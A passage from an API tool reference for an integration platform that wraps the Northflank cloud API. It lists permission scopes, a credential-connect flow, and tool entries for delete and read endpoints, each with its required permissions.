account:cloud:integrations:delete, account:cloud:integrations:read, account:cloud:integrations:update, account:cloud:registries:create, account:cloud:registries:delete, account:cloud:registries:read, account:cloud:registries:update, account:cloud:workloadidentities:create, account:cloud:workloadidentities:delete, account:cloud:workloadidentities:read, account:cloud:workloadidentities:update, account:git:general:manage, account:git:general:read, account:git:tokens:read, account:globalsecrets:secrets:create, account:globalsecrets:secrets:read, account:networking:domains:create, account:networking:domains:delete, account:networking:domains:read, account:networking:domains:update, account:networking:egressips:create, account:networking:egressips:delete, account:networking:egressips:read, account:networking:egressips:update, account:networking:loadbalancers:create, account:networking:loadbalancers:delete, account:networking:loadbalancers:read, account:networking:loadbalancers:update, account:networking:networkpolicies:create, account:networking:networkpolicies:delete, account:networking:networkpolicies:read, account:networking:networkpolicies:update, account:networking:subdomainpaths:create, account:networking:subdomainpaths:read, account:networking:subdomainpaths:update, account:networking:subdomains:read, account:networking:subdomains:update, account:observability:logsinks:create, account:observability:logsinks:delete, account:observability:logsinks:read, account:observability:logsinks:update, account:observability:notifications:create, account:observability:notifications:delete, account:observability:notifications:read, account:observability:notifications:update, account:platform:backupdestinations:create, account:platform:backupdestinations:delete, account:platform:backupdestinations:read, account:platform:backupdestinations:update, account:platform:containersnapshots:create, account:platform:containersnapshots:delete, account:platform:containersnapshots:read, account:platform:gradualrollouts:create, account:platform:gradualrollouts:delete, account:platform:gradualrollouts:read, account:platform:gradualrollouts:update, account:platform:ssh:create, account:platform:ssh:delete, account:platform:ssh:read, account:platform:ssh:update, account:platform:tags:create, account:platform:tags:delete, account:platform:tags:read, account:platform:tags:update, account:templates:general:create, account:templates:general:delete, account:templates:general:read, account:templates:general:run, account:templates:general:update, account:templates:runs:abort, organisation:admin:billing:read, organisation:admin:members:read, organisation:admin:roles:manage, organisation:admin:roles:read, organisation:team:general:create, organisation:team:general:delete, organisation:team:general:read, organisation:team:general:update, project:addons:deployment:view-observability, project:addons:general:create, project:addons:general:delete, project:addons:general:read, project:addons:general:update, project:aimodels:general:create, project:aimodels:general:delete, project:aimodels:general:read, project:aimodels:general:update, project:externaladdons:general:create, project:externaladdons:general:delete, project:externaladdons:general:read, project:externaladdons:general:update, project:harnesses:general:create, project:harnesses:general:delete, project:harnesses:general:read, project:harnesses:general:update, project:jobs:deployment:view-observability, project:jobs:general:create, project:jobs:general:delete, project:jobs:general:read, project:jobs:general:run-job, project:jobs:general:update, project:pipelines:general:read, project:pipelines:general:update, project:pipelinesv2:previews:delete, project:pipelinesv2:previews:pause, project:pipelinesv2:previews:resume, project:previewblueprints:general:create, project:previewblueprints:general:delete, project:previewblueprints:general:read, project:previewblueprints:general:update, project:previewblueprints:runs:abort, project:previewblueprints:runs:read, project:previewblueprints:runs:start, project:projects:manage:create, project:projects:manage:delete, project:projects:manage:read, project:projects:manage:update, project:secrets:jobs:read, project:secrets:jobs:update, project:secrets:secretgroups:create, project:secrets:secretgroups:list, project:secrets:services:read, project:secrets:services:update, project:services:deployment:view-observability, project:services:general:create, project:services:general:delete, project:services:general:read, project:services:general:update, project:volumes:backups:create, project:volumes:backups:delete, project:volumes:backups:read, project:volumes:general:create, project:volumes:general:delete, project:volumes:general:read, project:volumes:general:update, project:workflows:general:create, project:workflows:general:read, project:workflows:general:update, project:workflows:runs:abort, project:workflows:runs:read, project:workflows:runs:start. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. northflank_delete_v1_backup_destinations_by_backupdestinationid (write, destructive) — Delete backup destination via DELETE /v1/backup-destinations/{backupDestinationId}. Northflank permission required: Account > Platform > BackupDestinations > Delete. DELETE /api/v1/northflank/v1/backup-destinations/{backupDestinationId}. Scopes: account:platform:backupdestinations:delete. northflank_delete_v1_cloud_providers_clusters_by_clusterid (write, destructive) — Delete cluster via DELETE /v1/cloud-providers/clusters/{clusterId}. Northflank permission required: Account > Cloud > Clusters > Delete. DELETE /api/v1/northflank/v1/cloud-providers/clusters/{clusterId}. Scopes: account:cloud:clusters:delete. northflank_delete_v1_cloud_providers_integrations_by_integrationid (write, destructive) — Delete integration via DELETE /v1/cloud-providers/integrations/{integrationId}. Northflank permission required: Account > Cloud > Integrations > Delete. DELETE /api/v1/northflank/v1/cloud-providers/integrations/{integrationId}. Scopes: account:cloud:integrations:delete. northflank_delete_v1_container_snapshots_by_snapshotid (write, destructive) — Delete container snapshot via DELETE /v1/container-snapshots/{snapshotId}. Northflank permission required: Account > Platform > ContainerSnapshots > Delete. DELETE /api/v1/northflank/v1/container-snapshots/{snapshotId}. Scopes: account:platform:containersnapshots:delete. northflank_delete_v1_domains_by_domain (write, destructive) — Delete domain via DELETE /v1/domains/{domain}. Northflank permission required: Account > Networking > Domains > Delete. DELETE /api/v1/northflank/v1/domains/{domain}. Scopes: account:networking:domains:delete. northflank_delete_v1_domains_by_domain_subdomains_by_subdomain (write, destructive) — Delete subdomain via DELETE /v1/domains/{domain}/subdomains/{subdomain}. Northflank permission required: Account > Networking > Subdomains > Update. DELETE /api/v1/northflank/v1/domains/{domain}/subdomains/{subdomain}. Scopes: account:networking:subdomains:update. northflank_delete_v1_domains_by_domain_subdomains_by_subdomain_assign (write, destructive) — Unassign subdomain via DELETE /v1/domains/{domain}/subdomains/{subdomain}/assign. Northflank permission required: Account > Networking > Subdomains > Update. DELETE /api/v1/northflank/v1/domains/{domain}/subdomains/{subdomain}/assign. Scopes: account:networking:subdomains:update. northflank_delete_v1_domains_by_domain_subdomains_by_subdomain_paths_by_subdomainpath (write, destructive) — Delete subdomain path via DELETE /v1/domains/{domain}/subdomains/{subdomain}/paths/{subdomainPath}. Northflank permission required: Account > Networking > SubdomainPaths > Update. DELETE /api/v1/northflank/v1/domains/{domain}/subdomains/{subdomain}/paths/{subdomainPath}. Scopes: account:networking:subdomainpaths:update. northflank_delete_v1_domains_by_domain_subdomains_by_subdomain_paths_by_subdomainpath_assign (write, destructive) — Unassign subdomain path via DELETE /v1/domains/{domain}/subdomains/{subdomain}/paths/{subdomainPath}/assign. Northflank permission required: Account > Networking > SubdomainPaths > Update. DELETE /api/v1/northflank/v1/domains/{domain}/subdomains/{subdomain}/paths/{subdomainPath}/assign. Scopes: account:networking:subdomainpaths:update. northflank_delete_v1_egress_ips_by_egressipid (write, destructive) — Delete egress ip via DELETE /v1/egress-ips/{egressIpId}. Northflank permission required: Account > Networking > EgressIps > Delete. DELETE /api/v1/northflank/v1/egress-ips/{egressIpId}. Scopes: account:networking:egressips:delete. northflank_delete_v1_gradual_rollout_strategies_by_gradualrolloutstrategyid (write, destructive) — Delete gradual rollout strategy via DELETE /v1/gradual-rollout-strategies/{gradualRolloutStrategyId}. Northflank permission required: Account > Platform > GradualRollouts > Delete. DELETE /api/v1/northflank/v1/gradual-rollout-strategies/{gradualRolloutStrategyId}. Scopes: account:platform:gradualrollouts:delete. northflank_delete_v1_integrations_log_sinks_by_logsinkid (write, destructive) — Delete log sink via DELETE /v1/integrations/log-sinks/{logSinkId}. Northflank permission required: Account > Observability > LogSinks > Delete. DELETE /api/v1/northflank/v1/integrations/log-sinks/{logSinkId}. Scopes: account:observability:logsinks:delete. northflank_delete_v1_integrations_notifications_by_notificationid (write, destructive) — Delete notification integration via DELETE /v1/integrations/notifications/{notificationId}. Northflank permission required: Account > Observability > Notifications > Delete. DELETE /api/v1/northflank/v1/integrations/notifications/{notificationId}. Scopes: account:observability:notifications:delete. northflank_delete_v1_integrations_registries_by_credentialid (write, destructive) — Delete registry via DELETE /v1/integrations/registries/{credentialId}. Northflank permission required: Account > Cloud > Registries > Delete. DELETE /api/v1/northflank/v1/integrations/registries/{credentialId}. Scopes: account:cloud:registries:delete. northflank_delete_v1_integrations_ssh_identities_by_identityid (write, destructive) — Delete ssh identity via DELETE /v1/integrations/ssh-identities/{identityId}. Northflank permission required: Account > Platform > Ssh > Delete. DELETE /api/v1/northflank/v1/integrations/ssh-identities/{identityId}. Scopes: account:platform:ssh:delete. northflank_delete_v1_load_balancers_by_loadbalancerid (write, destructive) — Delete load balancer via DELETE /v1/load-balancers/{loadBalancerId}. Northflank permission required: Account > Networking > LoadBalancers > Delete. DELETE /api/v1/northflank/v1/load-balancers/{loadBalancerId}. Scopes: account:networking:loadbalancers:delete. northflank_delete_v1_network_policies_by_networkpolicyid (write, destructive) — Delete network policy via DELETE /v1/network-policies/{networkPolicyId}. Northflank permission required: Account > Networking > NetworkPolicies > Delete. DELETE /api/v1/northflank/v1/network-policies/{networkPolicyId}. Scopes: account:networking:networkpolicies:delete. northflank_delete_v1_org_roles_by_roleid (write, destructive) — Delete org role via DELETE /v1/org-roles/{roleId}. Northflank permission required: Organisation > Admin > Roles > Manage. DELETE /api/v1/northflank/v1/org-roles/{roleId}. Scopes: organisation:admin:roles:manage. northflank_delete_v1_org_roles_by_roleid_members_by_memberid (write, destructive) — Remove member from org role via DELETE /v1/org-roles/{roleId}/members/{memberId}. Northflank permission required: Organisation > Admin > Roles > Manage. DELETE /api/v1/northflank/v1/org-roles/{roleId}/members/{memberId}. Scopes: organisation:admin:roles:manage. northflank_delete_v1_projects_by_projectid (write, destructive) — Delete project via DELETE /v1/projects/{projectId}. Northflank permission required: Project > Projects > Manage > Delete. DELETE /api/v1/northflank/v1/projects/{projectId}. Scopes: project:projects:manage:delete. northflank_delete_v1_projects_by_projectid_addons_by_addonid (write, destructive) — Delete addon via DELETE /v1/projects/{projectId}/addons/{addonId}. Northflank permission required: Project > Addons > General > Delete. DELETE /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}. Scopes: project:addons:general:delete. northflank_delete_v1_projects_by_projectid_addons_by_addonid_backup_schedules_by_scheduleid (write, destructive) — Delete addon backup schedule via DELETE /v1/projects/{projectId}/addons/{addonId}/backup-schedules/{scheduleId}. Northflank permission required: Project > Addons > General > Update. DELETE /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/backup-schedules/{scheduleId}. Scopes: project:addons:general:update. northflank_delete_v1_projects_by_projectid_addons_by_addonid_backups_by_backupid (write, destructive) — Delete addon backup via DELETE /v1/projects/{projectId}/addons/{addonId}/backups/{backupId}. Northflank permission required: Project > Addons > General > Update. DELETE /api/v1/northflank/v1/projects/{projectId}/addons/{addonId}/backups/{backupId}. Scopes: project:addons:general:update. northflank_delete_v1_projects_by_projectid_external_addons_by_externaladdonid (write, destructive) — Delete external addon via DELETE /v1/projects/{projectId}/external-addons/{externalAddonId}. Northflank permission required: Project > ExternalAddons > General > Delete. DELETE /api/v1/northflank/v1/projects/{projectId}/external-addons/{externalAddonId}. Scopes: project:externaladdons:general:delete. northflank_delete_v1_projects_by_projectid_harnesses_by_harnessid (write, destructive) — Delete harness via DELETE /v1/projects/{projectId}/harnesses/{harnessId}. Northflank permission required: Project > Harnesses > General > Delete. DELETE /api/v1/northflank/v1/projects/{projectId}/harnesses/{harnessId}. Scopes: project:harnesses:general:delete. northflank_delete_v1_projects_by_projectid_jobs_by_jobid (write, destructive) — Delete job via DELETE /v1/projects/{projectId}/jobs/{jobId}. Northflank permission required: Project > Jobs > General > Delete. DELETE /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}. Scopes: project:jobs:general:delete. northflank_delete_v1_projects_by_projectid_jobs_by_jobid_build_by_buildid (write, destructive) — Abort job build via DELETE /v1/projects/{projectId}/jobs/{jobId}/build/{buildId}. Northflank permission required: Project > Jobs > General > Update. DELETE /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/build/{buildId}. Scopes: project:jobs:general:update. northflank_delete_v1_projects_by_projectid_jobs_by_jobid_runs_by_runid (write, destructive) — Abort job run via DELETE /v1/projects/{projectId}/jobs/{jobId}/runs/{runId}. Northflank permission required: Project > Jobs > General > Update. DELETE /api/v1/northflank/v1/projects/{projectId}/jobs/{jobId}/runs/{runId}. Scopes: project:jobs:general:update. northflank_delete_v1_projects_by_projectid_llm_model_deployments_by_llmmodeldeploymentid (write, destructive) — Delete ai model via DELETE /v1/projects/{projectId}/llm-model-deployments/{llmModelDeploymentId}. Northflank permission required: Project > AiModels > General > Delete. DELETE /api/v1/northflank/v1/projects/{projectId}/llm-model-deployments/{llmModelDeploymentId}. Scopes: project:aimodels:general:delete. northflank_delete_v1_projects_by_projectid_pipelines_by_pipelineid_preview_envs_previews_by_previewid (write, destructive) — Delete preview environment (pipelines) via DELETE /v1/projects/{projectId}/pipelines/{pipelineId}/preview-envs/previews/{previewId}. Northflank permission required: Account > Templates > General > Delete. DELETE /api/v1/northflank/v1/projects/{projectId}/pipelines/{pipelineId}/preview-envs/previews/{previewId}. Scopes: account:templates:general:delete. northflank_delete_v1_projects_by_projectid_preview_blueprints_by_previewblueprintid (write, destructive) — Delete preview blueprint via DELETE /v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}. Northflank permission required: Project > PreviewBlueprints > General > Delete. DELETE /api/v1/northflank/v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}. Scopes: project:previewblueprints:general:delete. northflank_delete_v1_projects_by_projectid_preview_blueprints_by_previewblueprintid_previews_by_previewid (write, destructive) — Delete preview environment (preview blueprints) via DELETE /v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}/previews/{previewId}. Northflank permission required: Project > PipelinesV2 > Previews > Delete. DELETE /api/v1/northflank/v1/projects/{projectId}/preview-blueprints/{previewBlueprintId}/previews/{previewId}. Scopes: project:pipelinesv2:previews:delete. northflank_delete_v1_projects_by_projectid_secrets_by_secretid (write, destructive) — Delete project secret via DELETE /v1/projects/{projectId}/secrets/{secretId}. Northflank documents no required permission for it. DELETE /api/v1/northflank/v1/projects/{projectId}/secrets/{secretId}. Scopes: none. northflank_delete_v1_projects_by_projectid_secrets_by_secretid_addons_by_addonid (write, destructive) — Unlink addon from project secret via DELETE /v1/projects/{projectId}/secrets/{secretId}/addons/{addonId}. Northflank documents no required permission for it. DELETE /api/v1/northflank/v1/projects/{projectId}/secrets/{secretId}/addons/{addonId}. Scopes: none. northflank_delete_v1_projects_by_projectid_services_by_serviceid (write, destructive) — Delete service via DELETE /v1/projects/{projectId}/services/{serviceId}. Northflank permission required: Project > Services > General > Delete. DELETE /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}. Scopes: project:services:general:delete. northflank_delete_v1_projects_by_projectid_services_by_serviceid_build_by_buildid (write, destructive) — Abort service build via DELETE /v1/projects/{projectId}/services/{serviceId}/build/{buildId}. Northflank permission required: Project > Services > General > Update. DELETE /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/build/{buildId}. Scopes: project:services:general:update. northflank_delete_v1_projects_by_projectid_services_by_serviceid_build_cache (write, destructive) — Clear the build cache of a service via DELETE /v1/projects/{projectId}/services/{serviceId}/build-cache. Northflank permission required: Project > Services > General > Update. DELETE /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/build-cache. Scopes: project:services:general:update. northflank_delete_v1_projects_by_projectid_services_by_serviceid_per_replica_volumes_volume_by_volumeid (write, destructive) — Delete service per replica volume group via DELETE /v1/projects/{projectId}/services/{serviceId}/per-replica-volumes/volume/{volumeId}. Northflank permission required: Project > Services > General > Delete. DELETE /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/per-replica-volumes/volume/{volumeId}. Scopes: project:services:general:delete. northflank_delete_v1_projects_by_projectid_services_by_serviceid_per_replica_volumes_volume_by_volumeid_replica_by_ordinal (write, destructive) — Delete service per replica volume pvc via DELETE /v1/projects/{projectId}/services/{serviceId}/per-replica-volumes/volume/{volumeId}/replica/{ordinal}. Northflank permission required: Project > Services > General > Delete. DELETE /api/v1/northflank/v1/projects/{projectId}/services/{serviceId}/per-replica-volumes/volume/{volumeId}/replica/{ordinal}. Scopes: project:services:general:delete. northflank_delete_v1_projects_by_projectid_volumes_by_volumeid (write, destructive) — Delete volume via DELETE /v1/projects/{projectId}/volumes/{volumeId}. Northflank permission required: Project > Volumes > General > Delete. DELETE /api/v1/northflank/v1/projects/{projectId}/volumes/{volumeId}. Scopes: project:volumes:general:delete. northflank_delete_v1_projects_by_projectid_volumes_by_volumeid_backup_schedules_by_scheduleid (write, destructive) — Delete volume backup schedule via DELETE /v1/projects/{projectId}/volumes/{volumeId}/backup-schedules/{scheduleId}. Northflank permission required: Project > Volumes > Backups > Delete. DELETE /api/v1/northflank/v1/projects/{projectId}/volumes/{volumeId}/backup-schedules/{scheduleId}. Scopes: project:volumes:backups:delete. northflank_delete_v1_projects_by_projectid_volumes_by_volumeid_backups_by_backupid (write, destructive) — Delete volume backup via DELETE /v1/projects/{projectId}/volumes/{volumeId}/backups/{backupId}. Northflank permission required: Project > Volumes > Backups > Delete. DELETE /api/v1/northflank/v1/projects/{projectId}/volumes/{volumeId}/backups/{backupId}. Scopes: project:volumes:backups:delete. northflank_delete_v1_secrets_by_secretid (write, destructive) — Delete global secret via DELETE /v1/secrets/{secretId}. Northflank documents no required permission for it. DELETE /api/v1/northflank/v1/secrets/{secretId}. Scopes: none. northflank_delete_v1_tags_by_resourcetagid (write, destructive) — Delete tag via DELETE /v1/tags/{resourceTagId}. Northflank permission required: Account > Platform > Tags > Delete. DELETE /api/v1/northflank/v1/tags/{resourceTagId}. Scopes: account:platform:tags:delete. northflank_delete_v1_teams_by_teamid (write, destructive) — Delete team via DELETE /v1/teams/{teamId}. Northflank permission required: Organisation > Team > General > Delete. DELETE /api/v1/northflank/v1/teams/{teamId}. Scopes: organisation:team:general:delete. northflank_delete_v1_teams_by_teamid_members_by_memberid (write, destructive) — Remove team member via DELETE /v1/teams/{teamId}/members/{memberId}. Northflank permission required: Account > Admin > Members > Manage. DELETE /api/v1/northflank/v1/teams/{teamId}/members/{memberId}. Scopes: account:admin:members:manage. northflank_delete_v1_teams_by_teamid_roles_by_roleid (write, destructive) — Delete team role via DELETE /v1/teams/{teamId}/roles/{roleId}. Northflank permission required: Account > Admin > Roles > Manage. DELETE /api/v1/northflank/v1/teams/{teamId}/roles/{roleId}. Scopes: account:admin:roles:manage. northflank_delete_v1_teams_by_teamid_roles_by_roleid_members_by_memberid (write, destructive) — Remove member from team role via DELETE /v1/teams/{teamId}/roles/{roleId}/members/{memberId}. Northflank permission required: Account > Admin > Roles > Manage. DELETE /api/v1/northflank/v1/teams/{teamId}/roles/{roleId}/members/{memberId}. Scopes: account:admin:roles:manage. northflank_delete_v1_templates_by_templateid (write, destructive) — Delete template via DELETE /v1/templates/{templateId}. Northflank permission required: Account > Templates > General > Delete. DELETE /api/v1/northflank/v1/templates/{templateId}. Scopes: account:templates:general:delete. northflank_delete_v1_tokens_by_tokenid_keys_by_keyid (write, destructive) — Delete a key from an api token via DELETE /v1/tokens/{tokenId}/keys/{keyId}. Northflank permission required: Account > Admin > ApiTokens > Update. Deleting the key this Agentic Fabriq connection was given breaks the connection immediately. DELETE /api/v1/northflank/v1/tokens/{tokenId}/keys/{keyId}. Scopes: account:admin:apitokens:update. northflank_delete_v1_workload_identities_by_workloadidentityid (write, destructive) — Delete workload identity via DELETE /v1/workload-identities/{workloadIdentityId}. Northflank permission required: Account > Cloud > WorkloadIdentities > Delete. DELETE /api/v1/northflank/v1/workload-identities/{workloadIdentityId}. Scopes: account:cloud:workloadidentities:delete. northflank_get_v1_auth (read) — Get current authentication info via GET /v1/auth. Northflank documents no required permission for it. Reports what the connection's own API token is and which permissions it carries. Northflank documents no required permission for it. GET /api/v1/northflank/v1/auth. Scopes: none. northflank_get_v1_backup_destinations (read) — List backup destinations via GET /v1/backup-destinations. Northflank permission required: Account > Platform > BackupDestinations > Read. GET /api/v1/northflank/v1/backup-destinations. Scopes: account:platform:backupdestinations:read. northflank_get_v1_backup_destinations_by_backupdestinationid (read) — Get backup destination via GET /v1/backup-destinations/{backupDestinationId}. Northflank permission required: Account > Platform > BackupDestinations > Read. GET /api/v1/northflank/v1/backup-destinations/{backupDestinationId}. Scopes: account:platform:backupdestinations:read. northflank_get_v1_backup_destinations_by_backupdestinationid_backups (read) — List destinations backups via GET /v1/backup-destinations/{backupDestinationId}/backups. Northflank permission required: Account > Platform > BackupDestinations > Read. GET /api/v1/northflank/v1/backup-destinations/{backupDestinationId}/backups. Scopes: account:platform:backupdestinations:read. northflank_get_v1_billing_credit_balance (read) — Get credit balance via GET /v1/billing/credit-balance. Northflank permission required: Organisation > Admin > Billing > Read. GET /api/v1/northflank/v1/billing/credit-balance. Scopes: organisation:admin:billing:read. northflank_get_v1_billing_invoices (read) — List invoices via GET /v1/billing/invoices. Northflank permission required: Organisation > Admin > Billing > Read. GET /api/v1/northflank/v1/billing/invoices. Scopes: organisation:admin:billing:read. northflank_get_v1_billing_invoices_by_invoiceid (read) — Get invoice via GET /v1/billing/invoices/{invoiceId}. Northflank permission required: Organisation > Admin > Billing > Read. `teamId` here is Northflank's own QUERY FILTER, not this connection's team: it narrows a response the token can already read, and Northflank refuses it from a token that can only read one team. GET /api/v1/northflank/v1/billing/invoices/{invoiceId}. Scopes: organisation:admin:billing:read. northflank_get_v1_billing_usage (read) — List usage via GET /v1/billing/usage. Northflank permission required: Organisation > Admin > Billing > Read. `teamId` here is Northflank's own QUERY FILTER, not this connection's team: it narrows a response the token can already read, and Northflank refuses it from a token that can only read one team. GET /api/v1/northflank/v1/billing/usage. Scopes: organisation:admin:billing:read. northflank_get_v1_billing_usage_by_timestamp (read) — Get usage via GET /v1/billing/usage/{timestamp}. Northflank permission required: Organisation > Admin > Billing > Read. `teamId` here is Northflank's own QUERY FILTER, not this connection's team: it narrows a response the token can already read, and Northflank refuses it from a token that can only read one team. GET /api/v1/northflank/v1/billing/usage/{timestamp}. Scopes: organisation:admin:billing:read. northflank_get_v1_cloud_providers_clusters (read) — List clusters via GET /v1/cloud-providers/clusters. Northflank permission required: Account > Cloud > Clusters > Read. GET /api/v1/northflank/v1/cloud-providers/clusters. Scopes: account:cloud:clusters:read. northflank_get_v1_cloud_providers_clusters_by_clusterid (read) — Get cluster via GET /v1/cloud-providers/clusters/{clusterId}. Northflank permission required: Account > Cloud > Clusters > Read. GET /api/v1/northflank/v1/cloud-providers/clusters/{clusterId}. Scopes: account:cloud:clusters:read. northflank_get_v1_cloud_providers_clusters_by_clusterid_nodes (read) — List cluster nodes via GET /v1/cloud-providers/clusters/{clusterId}/nodes. Northflank permission required: Account > Cloud > Clusters > Read. GET /api/v1/northflank/v1/cloud-providers/clusters/{clusterId}/nodes. Scopes: account:cloud:clusters:read. northflank_get_v1_cloud_providers_integrations (read) — List integrations via GET /v1/cloud-providers/integrations. Northflank permission required: Account > Cloud > Integrations > Read. GET /api/v1/northflank/v1/cloud-providers/integrations. Scopes: account:cloud:integrations:read. northflank_get_v1_cloud_providers_integrations_by_integrationid (read) — Get integration via GET /v1/cloud-providers/integrations/{integrationId}. Northflank permission required: Account > Cloud > Integrations > Read. GET /api/v1/northflank/v1/cloud-providers/integrations/{integrationId}. Scopes: account:cloud:integrations:read. northflank_get_v1_cloud_providers_integrations_by_integrationid_workload_identity_provider (read) — Get workload identity provider status via GET /v1/cloud-providers/integrations/{integrationId}/workload-identity-provider. Northflank permission required: Account > Cloud > WorkloadIdentities > Read. GET /api/v1/northflank/v1/cloud-providers/integrations/{integrationId}/workload-identity-provider. Scopes: account:cloud:workloadidentities:read. northflank_get_v1_cloud_providers_node_types (read) — List provider node types via GET /v1/cloud-providers/node-types. Northflank documents no required permission for it. Answers 200 with no credential at all (measured 2026-09-22), so a 200 here says nothing about the connection's token. GET /api/v1/northflank/v1/cloud-providers/node-types. Scopes: none. northflank_get_v1_cloud_providers_regions (read) — List provider regions via GET /v1/cloud-providers/regions. Northflank documents no required permission for it. Answers 200 with no credential at all (measured 2026-09-22), so a 200 here says nothing about the connection's token. GET /api/v1/northflank/v1/cloud-providers/regions. Scopes: none. northflank_get_v1_container_snapshots (read) — List container snapshots via GET /v1/container-snapshots. Northflank permission required: Account > Platform > ContainerSnapshots > Read. GET /api/v1/northflank/v1/container-snapshots. Scopes: account:platform:containersnapshots:read. northflank_get_v1_container_snapshots_by_snapshotid (read) — Get container snapshot via GET /v1/container-snapshots/{snapshotId}. Northflank permission required: Account > Platform > ContainerSnapshots > Read. GET /api/v1/northflank/v1/container-snapshots/{snapshotId}. Scopes: account:platform:containersnapshots:read. northflank_get_v1_directory_groups (read) — List org directory groups via GET /v1/directory-groups. Northflank permission required: Organisation > Admin > Roles > Read. GET /api/v1/northflank/v1/directory-groups. Scopes: organisation:admin:roles:read. northflank_get_v1_directory_groups_by_groupid_members (read) — List directory group members via GET /v1/directory-groups/{groupId}/members. Northflank permission required: Organisation > Admin > Members > Read. GET /api/v1/northflank/v1/directory-groups/{groupId}/members. Scopes: organisation:admin:members:read. northflank_get_v1_dns_id (read) — Get dns id via GET /v1/dns-id. Northflank permission required: Project > Projects > Manage > Read. GET /api/v1/northflank/v1/dns-id. Scopes: project:projects:manage:read. northflank_get_v1_domains (read) — List domains via GET /v1/domains. Northflank permission required: Account > Networking > Domains > Read. GET /api/v1/northflank/v1/domains. Scopes: account:networking:domains:read. northflank_get_v1_domains_by_domain (read) — Get domain via GET /v1/domains/{domain}. Northflank permission required: Account > Networking > Domains > Read. GET /api/v1/northflank/v1/domains/{domain}. Scopes: account:networking:domains:read. northflank_get_v1_domains_by_domain_certificate (read) — Get domain certificate via GET /v1/domains/{domain}/certificate. Northflank permission required: Account > Networking > Domains > Read. GET /api/v1/northflank/v1/domains/{domain}/certificate. Scopes: account:networking:domains:read. northflank_get_v1_domains_by_domain_subdomains_by_subdomain (read) — Get subdomain via GET /v1/domains/{domain}/subdomains/{subdomain}. Northflank permission required: Account > Networking > Subdomains > Read. GET /api/v1/northflank/v1/domains/{domain}/subdomains/{subdomain}. Scopes: account:networking:subdomains:read. northflank_get_v1_domains_by_domain_subdomains_by_subdomain_paths (read) — List subdomain paths via GET /v1/domains/{domain}/subdomains/{subdomain}/paths. Northflank permission required: Account > Networking > SubdomainPaths > Read. GET /api/v1/northflank/v1/domains/{domain}/subdomains/{subdomain}/paths. Scopes: account:networking:subdomainpaths:read. northflank_get_v1_domains_by_domain_subdomains_by_subdomain_paths_by_subdomainpath (read) — Get subdomain path via GET /v1/domains/{domain}/subdomains/{subdomain}/paths/{subdomainPath}. Northflank permission required: Account > Networking > SubdomainPaths > Read. GET /api/v1/northflank/v1/domains/{domain}/subdomains/{subdomain}/paths/{subdomainPath}. Scopes: account:networking:subdomainpaths:read. northflank_get_v1_egress_ips (read) — List egress ips via GET /v1/egress-ips. Northflank permission required: Account > Networking > EgressIps > Read. GET /api/v1/northflank/v1/egress-ips. Scopes: account:networking:egressips:read. northflank_get_v1_egress_ips_by_egressipid (read) — Get egress ip via GET /v1/egress-ips/{egressIpId}. Northflank permission required: Account > Networking > EgressIps > Read. GET /api/v1/northflank/v1/egress-ips/{egressIpId}. Scopes: account:networking:egressips:read. northflank_get_v1_encryption_configurations (read) — List encryption configurations via GET /v1/encryption/configurations. Northflank permission required: Account > Admin > Encryption > Read. GET /api/v1/northflank/v1/encryption/configurations. Scopes: account:admin:encryption:read. northflank_get_v1_encryption_configurations_by_encryptionconfigurationid (read) — Get encryption configuration via GET /v1/encryption/configurations/{encryptionConfigurationId}. Northflank permission required: Account > Admin > Encryption > Read. GET /api/v1/northflank/v1/encryption/configurations/{encryptionConfigurationId}. Scopes: account:admin:encryption:read. northflank_get_v1_encryption_usage (read) — Get encryption configuration usage via GET /v1/encryption/usage. Northflank permission required: Account > Admin > Encryption > Read. GET /api/v1/northflank/v1/encryption/usage. Scopes: account:admin:encryption:read. northflank_get_v1_gradual_rollout_strategies (read) — List gradual rollout strategies via GET /v1/gradual-rollout-strategies. Northflank permission required: Account > Platform > GradualRollouts > Read. GET /api/v1/northflank/v1/gradual-rollout-strategies. Scopes: account:platform:gradualrollouts:read. northflank_get_v1_gradual_rollout_strategies_by_gradualrolloutstrategyid (read) — Get gradual rollout strategy via GET /v1/gradual-rollout-strategies/{gradualRolloutStrategyId}. Northflank permission required: Account > Platform > GradualRollouts > Read. GET /api/v1/northflank/v1/gradual-rollout-strategies/{gradualRolloutStrategyId}. Scopes: account:platform:gradualrollouts:read. northflank_get_v1_integrations_log_sinks (read) — List log sinks via GET /v1/integrations/log-sinks. Northflank permission required: Account > Observability > LogSinks > Read. GET /api/v1/northflank/v1/integrations/log-sinks. Scopes: account:observability:logsinks:read. northflank_get_v1_integrations_log_sinks_by_logsinkid (read) — Get log sink details via GET /v1/integrations/log-sinks/{logSinkId}. Northflank permission required: Account > Observability > LogSinks > Read. GET /api/v1/northflank/v1/integrations/log-sinks/{logSinkId}. Scopes: account:observability:logsinks:read. northflank_get_v1_integrations_notifications (read) — List notification integrations via GET /v1/integrations/notifications. Northflank permission required: Account > Observability > Notifications > Read. GET /api/v1/northflank/v1/integrations/notifications. Scopes: account:observability:notifications:read. northflank_get_v1_integrations_notifications_by_notificationid (read) — Get notification integration via GET /v1/integrations/notifications/{notificationId}. Northflank permission required: Account > Observability > Notifications > Read. GET /api/v1/northflank/v1/integrations/notifications/{notificationId}. Scopes: account:observability:notifications:read. northflank_get_v1_integrations_registries (read) — List registries via GET /v1/integrations/registries. Northflank permission required: Account > Cloud > Registries > Read. GET /api/v1/northflank/v1/integrations/registries. Scopes: account:cloud:registries:read. northflank_get_v1_integrations_registries_by_credentialid (read) — Get registry via GET /v1/integrations/registries/{credentialId}. Northflank permission required: Account > Cloud > Registries > Read. GET /api/v1/northflank/v1/integrations/registries/{credentialId}. Scopes: account:cloud:registries:read. 